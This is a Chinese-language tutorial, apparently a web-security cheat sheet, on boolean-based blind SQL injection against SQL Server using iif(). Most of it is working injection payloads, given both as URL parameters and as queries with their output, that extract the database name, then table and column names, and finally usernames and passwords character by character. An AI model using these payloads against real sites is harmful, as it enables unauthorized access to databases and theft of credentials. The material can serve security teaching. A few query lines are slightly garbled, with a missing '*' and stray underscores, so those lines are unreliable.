0x00 记忆方式

and iif(判断条件 ,1,0);

正确时会和原来的数据一致,错误会不返回数据

0x01 基本数据

1> select * from article;
2> go
+----+-----------+-----------+
| id | title       | content    |
+----+-----------+-----------+
|  1 | 测试标题  | 测试内容  |
|  2 | 测试标题2 | 测试内容2 |
+----+-----------+-----------+
(2 rows affected)

# 测试表数据: users;
sql server> select * from users;
+----+--------------+----------+
| id | username     | password |
+----+--------------+----------+
|  1 | test-user-01 |  123456  | 
|  2 | test-user-02 |  234567  |
+----+--------------+----------+
2 rows in set (0.00 sec)

sql server> SELECT system_user;
+-----------------------+
| field1                |
+-----------------------+
| sa                    |
+-----------------------+
1 row in set (0.00 sec)

sql server> select db_name();
+-----------------------+
| field1                |
+-----------------------+
| test                  |
+-----------------------+
1 row in set (0.00 sec)

0x02 获取数据长度

1> select LEN(system_user);
2> go
+---+
|   |
+---+
| 2 |
+---+
(1 rows affected)

0x03 读取当前连接的数据库

web语句: http://www.test.com/sql.php?id=1 and 1=iif(LEFT(db_name(),1)=’t’,1,0)

数据库语句: select * from _article _where id =1 and 1=iif(LEFT(db_name(),1)=’t’,1,0)

# 获取当前数据库第一个字符
# 对得情况
1> select * from article where id=1 and 1=iif(LEFT(db_name(),1)='t',1,0);
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)
# 错得情况
1> select * from article where id=1 and 1=iif(LEFT(db_name(),1)='aaaa',1,0);
2> go
+----+-----+--------+
| id | title | content |
+----+-----+--------+
+----+-----+--------+
(0 rows affected)

# 获取当前数据库第二个字符
# 对得情况
1> select * from article where id=1 and 1=iif(LEFT(db_name(),2)='te',1,0);
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)

0x04 猜库名

注意: db_name(1) 修改会显示其他库名
例如:
修改为db_name(1) 就是出1库
修改为db_name(2) 就是出2库

web语句: http://www.test.com/sql.php?id=1 and 1=iif(LEFT(db_name(1),1)=’m’,1,0)

数据库语句: select * from article where id=1 and 1=iif(LEFT(db_name(1),1)=’m’,1,0)

# 获取 1库第一个字符
# 对得情况
1> select * from article where id=1 and 1=iif(LEFT(db_name(1),1)='m',1,0);
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)

# 获取 1库第一个字符
# 对得情况
1> select * from article where id=1 and 1=iif(LEFT(db_name(1),2)='ma',1,0)
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)

0x05 猜表名

注意：
OVER(Order by table_name) 里面的 table_name 要修改为 information_schema.tables 表里面存在的一个字段

修改 LEFT() 函数第二个参数可以控制出来得数据

查询不同的库可以这样
例如：
table_catalog=db_name() (查询当前库)
table_catalog=’要查询的库名’

查询不同的表可以这样
例如:
修改 row_number>=1
修改 row_number>=2

web语句: http://www.test.com/sql.php?id=1 and 1=iif(LEFT((select table_name from (select ROW_NUMBER() OVER(Order by table_name) AS row_number,table_name FROM information_schema.tables where table_catalog=db_name()) as a where row_number=1),1)=’a’,1,0)

数据库语句: select * from article where id=1 and 1=iif(LEFT((select table_name from (select ROW_NUMBER() OVER(Order by table_name) AS row_number,table_name FROM information_schema.tables where table_catalog=db_name()) as a where row_number=1),1)=’a’,1,0)

# 获取 当前库 1表得第一个字符
1> SELECT
    *
FROM
    article
WHERE
    id = 1
AND 1 = iif (
    LEFT (
        (
            SELECT
                table_name
            FROM
                (
                    SELECT
                        ROW_NUMBER () OVER (ORDER BY table_name) AS row_number,
                        table_name
                    FROM
                        information_schema.tables
                    WHERE
                        table_catalog = db_name()
                ) AS a
            WHERE
                row_number = 1
        ),
        1
    ) = 'a',
    1,
    0
);
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)

# 获取 当前库 1表得第二个字符
1> SELECT
    *
FROM
    article
WHERE
    id = 1
AND 1 = iif (
    LEFT (
        (
            SELECT
                table_name
            FROM
                (
                    SELECT
                        ROW_NUMBER () OVER (ORDER BY table_name) AS row_number,
                        table_name
                    FROM
                        information_schema.tables
                    WHERE
                        table_catalog = db_name()
                ) AS a
            WHERE
                row_number = 1
        ),
        2
    ) = 'ar',
    1,
    0
);
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)

0x06 猜字段

注意：
OVER(Order by column_name) 里面的 column_name 要修改为 information_schema.columns 表里面存在的一个字段

查询不同的表可以这样
例如：
table_name=’要查询的表名’

查询不同的字段可以这样
例如:
修改 row_number>=1
修改 row_number>=2

web语句: http://www.test.com/sql.php?id=1 and 1=iif(LEFT((select column_name from (select ROW_NUMBER() OVER(Order by column_name) AS row_number,column_name from information_schema.columns where table_catalog=db_name() and table_name=’users’) as a where row_number=1),1)=’i’,1,0)

数据库语句: select * from article where id=1 and 1=iif(LEFT((select column_name from (select ROW_NUMBER() OVER(Order by column_name) AS row_number,column_name from information_schema.columns where table_catalog=db_name() and table_name=’users’) as a where row_number=1),1)=’i’,1,0)

# 获取当前库 users表 第一个字段第一个字符
1> SELECT
    *
FROM
    article
WHERE
    id = 1
AND 1 = iif (
    LEFT (
        (
            SELECT
                column_name
            FROM
                (
                    SELECT
                        ROW_NUMBER () OVER (ORDER BY column_name) AS row_number,
                        column_name
                    FROM
                        information_schema.columns
                    WHERE
                        table_catalog = db_name()
                    AND table_name = 'users'
                ) AS a
            WHERE
                row_number = 1
        ),
        1
    ) = 'i',
    1,
    0
);
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)

# 获取当前库 users表 第一个字段第二个字符
1> SELECT
    *
FROM
    article
WHERE
    id = 1
AND 1 = iif (
    LEFT (
        (
            SELECT
                column_name
            FROM
                (
                    SELECT
                        ROW_NUMBER () OVER (ORDER BY column_name) AS row_number,
                        column_name
                    FROM
                        information_schema.columns
                    WHERE
                        table_catalog = db_name()
                    AND table_name = 'users'
                ) AS a
            WHERE
                row_number = 1
        ),
        2
    ) = 'id',
    1,
    0
);
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)

0x07 猜内容

注意：
OVER(Order by username) 里面的 username 要修改为 users 表里面存在的一个字段

获取不同得字段数据可以修改 web语句里面得 a.username
例如
user表字段数据为：id， username，password
因为我使用了别名，所以如果想要获取其他得数据可以改成
a.id，a.username，a.password

查询不同的数据可以这样
例如:
修改 row_number>=1
修改 row_number>=2

web语句: http://www.test.com/sql.php?id=1 and 1=iif(LEFT((select a.username from (SELECT ROW_NUMBER () OVER (ORDER BY username) AS row_number,* from users) as a where row_number=1),1)=’t’,1,0)

数据库语句: select from article where id=1 and 1=iif(LEFT((select a.username from (SELECT ROW_NUMBER () OVER (ORDER BY username) AS row_number, from users) as a where row_number=1),1)=’t’,1,0)

# 查询users表 第一条数据, username 字段 前9个字符
1> SELECT
    *
FROM
    article
WHERE
    id = 1
AND 1 = iif (
    LEFT (
        (
            SELECT
                a.username
            FROM
                (
                    SELECT
                        ROW_NUMBER () OVER (ORDER BY username) AS row_number ,*
                    FROM
                        users
                ) AS a
            WHERE
                row_number = 1
        ),
        9
    ) = 'test-user',
    1,
    0
);
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)

# 查询users表 第二条数据, password 字段 前6个字符
1> SELECT
    *
FROM
    article
WHERE
    id = 1
AND 1 = iif (
    LEFT (
        (
            SELECT
                a.password
            FROM
                (
                    SELECT
                        ROW_NUMBER () OVER (ORDER BY password) AS row_number ,*
                    FROM
                        users
                ) AS a
            WHERE
                row_number = 2
        ),
        6
    ) = '234567',
    1,
    0
);
2> go
+----+----------+----------+
| id | title      | content   |
+----+----------+----------+
|  1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected)

Web 安全-数据验证不当

SQL Server 布尔盲注-iif-条件判断